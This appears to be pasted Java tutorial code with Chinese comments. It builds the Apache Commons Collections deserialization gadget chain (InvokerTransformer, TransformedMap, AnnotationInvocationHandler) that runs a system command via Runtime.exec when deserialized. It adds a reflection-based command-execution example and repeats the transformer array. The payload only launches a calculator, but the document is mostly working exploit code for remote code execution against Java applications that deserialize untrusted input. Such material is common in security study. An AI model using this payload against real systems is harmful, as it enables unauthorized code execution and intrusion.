import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class Demo {
    public static Object generatePayload() throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" })
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innermap = new HashMap();
        innermap.put("value", "mochazz");
        Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
        //通过反射获得AnnotationInvocationHandler类对象
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //通过反射获得cls的构造函数
        Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
        //这里需要设置Accessible为true，否则序列化失败
        ctor.setAccessible(true);
        //通过newInstance()方法实例化对象
        Object instance = ctor.newInstance(Retention.class, outmap);
        return instance;
    }

    public static void main(String[] args) throws Exception {
        payload2File(generatePayload(),"obj");
        payloadTest("obj");
    }
    public static void payload2File(Object instance, String file)
            throws Exception {
        //将构造好的payload序列化后写入文件中
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //读取写入的payload，并进行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}

// ExecuteCMD.java
import java.io.IOException;

public class ExecuteCMD {
    public static void main(String [] args) throws IOException{
        // 普通命令执行
        Runtime.getRuntime().exec(new String [] { "deepin-calculator" });

        // 通过反射执行命令
        try{
            Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(
                    Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),
                    new String [] { "deepin-calculator" }
            );
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
        new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" }) 
};